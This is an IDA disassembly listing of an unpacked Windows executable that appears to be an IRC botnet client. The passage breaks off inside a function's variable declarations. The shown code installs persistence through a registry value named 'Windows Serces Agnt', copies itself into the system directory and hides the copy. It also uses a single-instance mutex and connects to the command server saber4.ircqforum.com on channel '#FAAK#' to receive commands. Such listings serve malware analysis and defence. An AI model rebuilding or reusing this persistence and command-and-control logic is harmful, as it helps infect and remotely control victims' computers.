;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CF43DCF40111157F8AA37EB642F0EFCE

; File Name   :	u:\work\cf43dcf40111157f8aa37eb642f0efce_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DF000 ( 913408.)
; Section size in file		: 000DF000 ( 913408.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401221+358p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB998	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CBA08	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB948	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9C0	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_4167A0+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: sub_401221+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E92C
		call	dword_4CBA7C	; closesocket
		call	sub_40B583
		call	dword_4CB93C	; WSACleanup
		call	dword_4CB93C	; WSACleanup
		mov	ebx, dword_427080
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB98
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB90
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_42706C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: .packed:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB720, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401221	proc near		; CODE XREF: sub_41E1D3+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB724, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA90	; SetErrorMode
		push	7530h
		push	offset aScortiser ; "scortiser"
		push	ebx
		push	ebx
		call	dword_4270AC	; CreateMutexA
		push	eax
		call	dword_4270A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	dword_42706C	; ExitProcess


loc_4012A1:				; CODE XREF: sub_401221+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4CB954	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	[ebp+var_884], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	dword_427078	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset dword_429AD0
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429110
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: sub_401221+179j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429110[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: sub_401221+148j
					; sub_401221+156j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4270A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_42709C	; SetFileAttributesA


loc_4013DC:				; CODE XREF: sub_401221+1A7j
		mov	esi, dword_427098
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: sub_401221+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40142C
		call	dword_427094	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: sub_401221+1E5j
		push	1
		pop	edi
		push	3A98h
		call	dword_427080	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: sub_401221+1D6j
					; sub_401221+1E0j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_42709C	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43DB98
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_427090	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: .packed:off_43309Co
		call	dword_42708C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_429ABC
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	dword_427080	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_427070
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4CB93C	; WSACleanup
		push	ebx
		call	dword_42706C	; ExitProcess


loc_401516:				; CODE XREF: sub_401221+137j
					; sub_401221+2CBj
		cmp	dword_4DBE08, 2
		jle	short loc_401562
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4270A8	; WaitForSingleObject
		push	esi
		call	dword_427070	; CloseHandle
		mov	eax, dword_4DBE0C
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	dword_427080	; Sleep
		mov	eax, dword_4DBE0C
		push	dword ptr [eax+8]
		call	dword_427088	; DeleteFileA


loc_401562:				; CODE XREF: sub_401221+2FCj
					; sub_401221+326j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAB4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: sub_401221+347j
					; sub_401221+34Fj
		lea	eax, [ebp+var_A0]
		push	offset dword_429AA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DBA0
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp+var_A0]
		push	offset unk_429A7C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_419F4D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_401622
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_429A3C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: sub_401221+3E4j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp+var_A0]
		push	offset dword_429A10
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410BFD
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	short loc_40169A
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_4299DC
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: sub_401221+45Cj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: sub_401221+418j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB72C
		mov	dword_4CB898, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB7AC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7EC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB880, ebx


loc_4016FC:				; CODE XREF: sub_401221+563j
					; sub_401221+56Ej ...
		mov	[ebp+var_4], ebx


loc_4016FF:				; CODE XREF: sub_401221+517j
		push	offset dword_4CB728
		mov	dword_4CB894, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D9
		cmp	dword_4CB894, ebx
		jz	short loc_401726
		dec	[ebp+var_4]


loc_401726:				; CODE XREF: sub_401221+500j
		push	0BB8h
		call	dword_427080	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016FF
		cmp	[ebp+var_10], 2
		jz	loc_4017D9
		cmp	[ebp+var_C], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: sub_401221+526j
		cmp	byte_4290EC, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290EC
		push	offset dword_4CB72C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB87C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: sub_401221+4F4j
					; sub_401221+51Dj
		call	sub_40B583


loc_4017DE:				; CODE XREF: sub_401221+A1j
					; sub_401221+B1j
		call	dword_4CB93C	; WSACleanup


loc_4017E4:				; CODE XREF: sub_401221+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: sub_401221+4E9p
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9E4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E938
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA64	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E92C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA7C	; closesocket
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	dword_427080	; Sleep
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD8
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA7C	; closesocket
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB890, bl
		jz	short loc_40199A
		push	offset byte_4CB890
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA7C	; closesocket
		push	1388h
		call	dword_427080	; Sleep


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	dword_427080	; Sleep
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
